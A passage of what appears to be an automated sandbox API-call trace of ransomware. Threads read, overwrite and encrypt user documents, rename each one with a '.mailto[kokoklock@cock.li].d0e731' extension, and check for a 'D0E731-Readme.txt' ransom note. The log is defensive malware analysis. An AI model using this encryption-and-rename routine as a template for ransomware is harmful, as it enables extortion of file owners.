nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1253fdd0*=0x20, lpOverlapped=0x0) returned 1 [0069.639] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1253fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1253fdd0*=0x4, lpOverlapped=0x0) returned 1 [0069.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342baf0) returned 1 [0069.639] CloseHandle (hObject=0x774) returned 1 [0069.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bd38 [0069.643] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" [0069.643] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" [0069.643] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\uucwu.pps.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.644] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.644] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UucwU.pps", dwFileAttributes=0x20) returned 0 [0069.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.644] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.644] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.644] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481488) returned 1 [0069.644] RtlExitUserThread (Status=0x1) Thread: id = 432 os_tid = 0xd40 [0069.645] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods")) returned 0x20 [0069.646] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods", dwFileAttributes=0x20) returned 1 [0069.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.646] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x125bfe1c | out: lpFileSize=0x125bfe1c*=5113) returned 1 [0069.646] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x13f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.646] ReadFile (in: hFile=0x774, lpBuffer=0x125bfdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x125bfdf0*, lpNumberOfBytesRead=0x125bfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.646] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342baf0 [0069.646] NtQuerySystemTime (in: CurrentTime=0x125bfdc8 | out: CurrentTime=0x125bfdc8*=132121176275437408) returned 0x0 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xf99025ca [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xad93e61 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x1bdd8eeb [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x1bbd1539 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xa247a566 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xb8b5e1b5 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x2367fd32 [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x49455e1b [0069.646] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x13ce1fb9 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x598642f4 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x25049afc [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xc881c338 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x7f3fd0a6 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x863cef7 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x64162393 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x23c19483 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x96427446 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xc4a971bb [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xce97fe01 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x6950eb3d [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x33df9d76 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x282e3afa [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x4166abd1 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xf7e53a7 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xb65e6742 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xc3ed280e [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xe44cfbcb [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xfe63054a [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xea89202f [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xdf65d8b6 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0xb4c81d91 [0069.647] RtlRandom (in: Seed=0x125bfdd4 | out: Seed=0x125bfdd4) returned 0x396228f [0069.658] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x13f9, lpNumberOfBytesRead=0x125bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x125bfdc8*=0x13f9, lpOverlapped=0x0) returned 1 [0069.658] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x125bfd90 | out: lpNewFilePointer=0x0) returned 1 [0069.658] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x13f9, lpNumberOfBytesWritten=0x125bfdc4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x125bfdc4*=0x13f9, lpOverlapped=0x0) returned 1 [0069.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb68 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb68) returned 1 [0069.658] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x125bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x125bfdc0*=0x20, lpOverlapped=0x0) returned 1 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.658] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.658] WriteFile (in: hFile=0x774, lpBuffer=0x342bb40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x342bb40*, lpNumberOfBytesWritten=0x125bfdec*=0x8, lpOverlapped=0x0) returned 1 [0069.659] WriteFile (in: hFile=0x774, lpBuffer=0x125bfe04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x125bfe04*, lpNumberOfBytesWritten=0x125bfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.659] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x125bfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.659] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x125bfdec*=0x6c, lpOverlapped=0x0) returned 1 [0069.659] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x125bfdec*=0x20, lpOverlapped=0x0) returned 1 [0069.659] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x125bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x125bfdec*=0x4, lpOverlapped=0x0) returned 1 [0069.659] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.659] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.659] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb40) returned 1 [0069.659] CloseHandle (hObject=0x774) returned 1 [0069.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bd38 [0069.660] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" [0069.660] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" [0069.660] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.661] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.661] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods", dwFileAttributes=0x20) returned 0 [0069.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.661] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.661] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.661] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34815c8) returned 1 [0069.661] RtlExitUserThread (Status=0x1) Thread: id = 433 os_tid = 0xf9c [0069.662] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx")) returned 0x20 [0069.662] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx", dwFileAttributes=0x20) returned 1 [0069.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.663] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1263fe48 | out: lpFileSize=0x1263fe48*=91998) returned 1 [0069.663] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x1675a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.663] ReadFile (in: hFile=0x774, lpBuffer=0x1263fe1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x1263fe1c*, lpNumberOfBytesRead=0x1263fe18*=0x4, lpOverlapped=0x0) returned 1 [0069.664] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb40 [0069.664] NtQuerySystemTime (in: CurrentTime=0x1263fdf4 | out: CurrentTime=0x1263fdf4*=132121176275566725) returned 0x0 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x618907fe [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xb883c108 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xfb56f5b0 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x2daa9db9 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x8ac41e24 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xcf27af4 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x7dbc38e3 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x49219c90 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x7e45c2a9 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x860347cb [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x36086c02 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xded73d6e [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x869a8346 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x61202ad [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x7613a2b0 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x8da8914a [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x2764a0 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xfcb44d82 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xf1a5f23b [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xaa473086 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x3907b23c [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xf42284af [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x1ea1c4a [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x9ebc6405 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xb5e36cf3 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x5a3799bd [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xbab8c1d6 [0069.664] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x3cbe781c [0069.665] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xa25ed53e [0069.665] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0x3bedb1ae [0069.665] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xd7feb17f [0069.665] RtlRandom (in: Seed=0x1263fe00 | out: Seed=0x1263fe00) returned 0xab853d86 [0069.675] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.675] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1263fdcc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1263fdcc*=0x4096, lpOverlapped=0x0) returned 1 [0069.675] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bbe0 [0069.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb90 [0069.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb90) returned 1 [0069.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.676] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1263fdcc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1263fdcc*=0x4096, lpOverlapped=0x0) returned 1 [0069.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.676] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x1675e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.676] WriteFile (in: hFile=0x774, lpBuffer=0x342bbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1263fe04, lpOverlapped=0x0 | out: lpBuffer=0x342bbe0*, lpNumberOfBytesWritten=0x1263fe04*=0x20, lpOverlapped=0x0) returned 1 [0069.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bbe0) returned 1 [0069.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x342bb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x342bb68*, lpNumberOfBytesWritten=0x1263fe18*=0x8, lpOverlapped=0x0) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x1263fe30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x1263fe30*, lpNumberOfBytesWritten=0x1263fe18*=0x4, lpOverlapped=0x0) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1263fe18*=0x4, lpOverlapped=0x0) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1263fe18*=0x6c, lpOverlapped=0x0) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1263fe18*=0x20, lpOverlapped=0x0) returned 1 [0069.677] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1263fe18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1263fe18*=0x4, lpOverlapped=0x0) returned 1 [0069.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb68) returned 1 [0069.677] CloseHandle (hObject=0x774) returned 1 [0069.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bd38 [0069.680] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" [0069.680] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" [0069.680] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.680] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.681] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx", dwFileAttributes=0x20) returned 0 [0069.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.681] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.681] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.681] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ff0) returned 1 [0069.681] RtlExitUserThread (Status=0x1) Thread: id = 434 os_tid = 0xf70 [0069.682] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx")) returned 0x20 [0069.682] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx", dwFileAttributes=0x20) returned 1 [0069.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.682] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x126bf7e4 | out: lpFileSize=0x126bf7e4*=24058) returned 1 [0069.682] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5df6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.682] ReadFile 